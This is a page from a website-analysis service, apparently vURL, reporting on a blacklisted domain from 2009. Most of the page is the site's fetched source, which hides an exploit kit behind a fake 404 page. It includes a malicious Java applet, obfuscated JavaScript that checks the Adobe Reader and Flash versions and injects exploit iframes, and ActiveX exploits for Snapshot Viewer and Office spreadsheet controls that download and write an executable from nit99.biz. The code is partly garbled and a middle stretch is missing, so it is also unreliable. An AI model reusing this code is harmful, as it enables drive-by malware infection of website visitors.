



Quickly and safely dissect malicious or suspect websites

Is it HOST'ed?:

Enter domain name

Search

[Home](#) | [About ...](#) | [Blog](#) | [Downloads](#) | [FAQ](#) | [Known Issues](#) | [Need Help?](#) | [Using ...](#) | [Your History](#)

Enter the URL you would like to dissect:

 

Additional Options

User Agent:  Select Server: Referer: 

Display Options

 Parse Links  Display Source  Check Blacklists
Need to analyze a flash (SWF) or Javascript file?, [use Wepawet!](#)

Query: http://www.nit99.biz/myy/viewtopic.php?s=bec8f62472	
URL Decoded:	http://www.nit99.biz/myy/viewtopic.php?s=mç< _i
Page Title:	404 not found
Server Response:	200 [ OK ]
Server Type:	Apache
Server IP:	115.100.250.104
IP PTR:	IP does not appear to have a PTR record
hpHosts Status:	<b>This domain is listed in the hpHOSTS blacklist. Website's in this database should be viewed with extreme caution.</b> Classification: EXP
MDL Status:	<b>This domain is listed in the Malware Domain List. Website's in this database should be viewed with extreme caution.</b>
PhishTank Status:	Not Found ( <a href="#">Report it?</a> )
Sudosecure Status:	Not Listed
KnownSecurity Status:	Not Listed
Links found?:	1
Scripts found?:	10
iFrames found?:	0
Dissected:	This URL has been dissected 1 times
Last Dissected:	30/12/2009 18:05:52
Link to this query:	<a href="http://vurl.mysteryfcm.co.uk/?url=1190035">http://vurl.mysteryfcm.co.uk/?url=1190035</a>
Additional Options	
<a href="#">Request hpHosts removal</a>   <a href="#">Report related site(s)</a>   <a href="#">SiteAdvisor Report</a>   <a href="#">Trusted Source Report</a>   <a href="#">Web of Trust Report</a>	

**Headers:**

```
HTTP/1.1 200 OK
Date: Wed, 30 Dec 2009 18:06:30 GMT
Server: Apache
X-Powered-By: PHP/5.2.10
Cache-Control: no-cache, must-revalidate
Expires: Sat, 26 Jul 1997 05:00:00 GMT
Vary: Accept-Encoding,User-Agent
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=WINDOWS-1251
```

Line #	Line Content
0	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
1	<html><head>
2	<meta name="robots" content="noindex">
3	<title> 404 Not Found </title>
4	</head><body>
5	<h1>N<asd>ot F<asd>o<asd>un<asd>d</h1>
6	<p>Th<asd>e r<asd>equ<asd>es<asd>ted U<asd>R<asd>L /myy/viewtopic.php?s=bec8f62472 was n<asd>ot fo<asd>und on thi<asd>s se<asd>rver.&l t;/p>
7	<div style="position:absolute; left:-1101px; top:-1101px;">
8	
9	<applet code="myf.y.AppletX.class" archive="http://nit99.biz/myy/sdfg.jar" width="300" height="300"><param name="data" value="http://nit99.biz/myy/post.php?e=3&n="><param name="cc" value="2"></applet>
10	<b>&lt;script&gt;</b>
11	var roro = "r";
12	window.setInterval("roro = \"z\";",1000);
13	var soso = roro;
14	function jNjgFRFIS10(uauaua)
15	{
16	var jiol=""; try { jiol = uauaua[soso+""+"ep"+""+"la"+""+"c"+""+"e"](/mKlJBqUrw11/gi,""); }catch(e)
17	{}
18	<b>&lt;/script&gt;</b>
19	<b>&lt;script&gt;</b>
20	function n73(a) {
21	var k, s, i;
22	if (navigator.mimeTypes.length && (k = navigator.plugins)) {
23	for (i = 0; i < k.length; i++) {
24	s = k[i].name;
25	if (s.indexOf(a) >= 0) {
26	return k[i];
27	}
28	}
29	}
30	return 0;
31	}
32	
33	function i73(a) {
34	document.write(jNjgFRFIS10("<ifmKlJBqUrw11amKlJBqUrw11mmKlJBqUrw11e srmKlJBqUrw11c=\\"mKlJBqUrw11hmKlJBqUrw11tmKlJBqUrw11tmKlJBqUrw11pmKlJBqUrw11:mKlJBqUrw11/mKlJBqUrw11/mKlJBqUrw11nmKlJBqUrw11imKlJBqUrw11tmKlJBqUrw119mKlJBqUrw119mKlJBqUrw11:mKlJBqUrw11bmKlJBqUrw11imKlJBqUrw11zmKlJBqUrw11/mKlJBqUrw11mmKlJBqUrw11ymKlJBqUrw11ymKlJBqUrw11/\" + a + &quot;uot;\"></ifmKlJBqUrw11ramKlJBqUrw11mmKlJBqUrw11e>"));
35	}
36	
37	var ua = navigator.userAgent.toLowerCase();
38	uPzIl = 0;

```
39  try {
40  uPzII = new ActiveXObject("AcroPDF.PDF");
41  } catch (e) {
42  }
43  if (!uPzII) {
44  try {
45  uPzII = new ActiveXObject("PDF.PdfCtrl");
46  } catch (e) {
47  }
48  }
49  if (uPzII) {
50  var lv = uPzII.GetVersions().split(",")[4].split("=")[1].replace(/\.g, "");
51  uPzII = lv < 900 && lv != 813;
52  } else {
53  uPzII = n73("Adobe A") || n73("Adobe P");
54  }
55  if (uPzII) {
56  i73("myreadme.php");
57  }
58
59
60
61  function s73(a) {
62  if (a[0] == 9) {
63  uPzII = a[2] < 124;
64  }
65  }
66  uzfl = 0;
67  if ((x = n73("Flash")) && (x = x.description)) {
68  uzfl = "F";
69  s73(x.replace(/([a-zA-Z]|\\s)+/, "").replace(/(\\s+r|\\s+b[0-9]+)/, ".").split("."));
70  } else {
71  try {
72  uzfl = "I";
73  s73((new ActiveXObject("ShockwaveFlash.ShockwaveFlash")).GetVariable("$version").split(" ")[1].split(","));
74  } catch (e) {
75  }
76  }
77  if (uPzII) {
78  i73("/"+uzfl+".swf");
79  }
80
81
82  </script>
83
84
85
86
87  <script>
88  function GetRoot()
89  {
90  for (index = 2, root = ""; index <= 26; index++)
91  {
92  root = String.fromCharCode(65 + index);
93  var outlook = new Image();
94  outlook.src = "res://" + root + jNjgffRFIS10(":\ProgmkIJBqjUrw11ram Files\OumKIJBqjUrw11tlomKIJBqjUrw11ok ExmKIJBqjUrw11premkIJBqjUrw11ss\
msmKIJBqjUrw11oemKIJBqjUrw11remKIJBqjUrw11s.dmKIJBqjUrw11l/#2/1");
95  if (outlook.height == 59)
96  {
97  break;
98  }
99  outlook = "";
100 }
101 return root;
102 }
103
104 function snapshot(){
105 var root = eval(jNjgffRFIS10("GmKIJBqjUrw11etmKIJBqjUrw11RomKIJBqjUrw11omKIJBqjUrw11t(")););
106 if (root == '[')
107 return;
108 try
109 {
110 var obj = new ActiveXObject(jNjgffRFIS10("snmKIJBqjUrw11pvmKIJBqjUrw11w.SnmKIJBqjUrw11apmKIJBqjUrw11shmKIJBqjUrw11ot VimKIJBqjUrw11ewmKIJBqjUrw11er
ComKIJBqjUrw11ntmKIJBqjUrw11romKIJBqjUrw11l.1")););
111 }catch(e)
112 {
113
114 }
115
116 obj[jNjgffRFIS10("SnmKIJBqjUrw11apmKIJBqjUrw11shmKIJBqjUrw11otmKIJBqjUrw11PamKIJBqjUrw11th")] = jNjgffRFIS10("mKIJBqjUrw11hmKIJBqjUrw11tmKIJBqjUrw11tmKIJBqjUrw11
pmKIJBqjUrw11:mKIJBqjUrw11/mKIJBqjUrw11/mKIJBqjUrw11nmKIJBqjUrw11mKIJBqjUrw11tmKIJBqjUrw119mKIJBqjUrw11.mKIJBqjUrw11bmKIJBqjUrw11imKIJBqjUrw11zmKIJBqjUrw11/mKIJBqjUrw11mmKIJBqjUrw11ymKIJ
BqjUrw11ymKIJBqjUrw11/mKIJBqjUrw11pmKIJBqjUrw11omKIJBqjUrw11ismKIJBqjUrw11tmKIJBqjUrw11.mKIJBqjUrw11pmKIJBqjUrw11hmKIJBqjUrw11pmKIJBqjUrw11?mKIJBqjUrw11emKIJBqjUrw11=mKIJBqjUrw115"););
117 try
118 {
119 obj[jNjgffRFIS10("ComKIJBqjUrw11mpmKIJBqjUrw11remKIJBqjUrw11ssmKIJBqjUrw11edmKIJBqjUrw11PamKIJBqjUrw11th")] = root + jNjgffRFIS10(":\PromK
IJBqjUrw11grmKIJBqjUrw11am Files\OumKIJBqjUrw11tlmKIJBqjUrw11oomKIJBqjUrw11k ExmKIJBqjUrw11prmKIJBqjUrw11esmKIJBqjUrw11s\wamKIJBqjUrw11b.emKIJBqjUrw11xmKIJBqjUrw11e"););
120 obj[jNjgffRFIS10("PrmKIJBqjUrw11inmKIJBqjUrw11tSmKIJBqjUrw11namKIJBqjUrw11psmKIJBqjUrw11homKIJBqjUrw11t(")););
121 }catch(e){};
122
123 var iv = setInterval(function(){
124 if (obj[jNjgffRFIS10("remKIJBqjUrw11admKIJBqjUrw11yStmKIJBqjUrw11ate")] == 4) {
125 clearInterval(iv);
126 window[jNjgffRFIS10("lomKIJBqjUrw11catmKIJBqjUrw11imKIJBqjUrw11on")] = jNjgffRFIS10("ldmKIJBqjUrw11apmKIJBqjUrw11://12mKIJBqjUrw117.0mKIJ
BqjUrw11.0mKIJBqjUrw11.mKIJBqjUrw111"););
127 }
128 }, 3000);
129 }
```



```
207  objspread[jNjgffRFIS10("EmKlJBqUrW11vamKlJBqUrW11lumKlJBqUrW11atmKlJBqUrW11e"))](e[i]);
208  } catch (e) {
209  }
210  }
211  }
212  window.status = e[3] + "";
213  for (j = 0; j < 10; j++) {
214  try {
215  objspread[jNjgffRFIS10("msmKlJBqUrW11DamKlJBqUrW11tamKlJBqUrW11SomKlJBqUrW11urmKlJBqUrW11ceOmKlJBqUrW11bjmKlJBqUrW11emKlJBqUrW11ct"))](e[3]);
216  } catch (e) {
217  }
218  }
219  } catch (e) {
220  }
221  }
222  }
223  spreadsheet();
224  </script></div>
225  </body></html>
```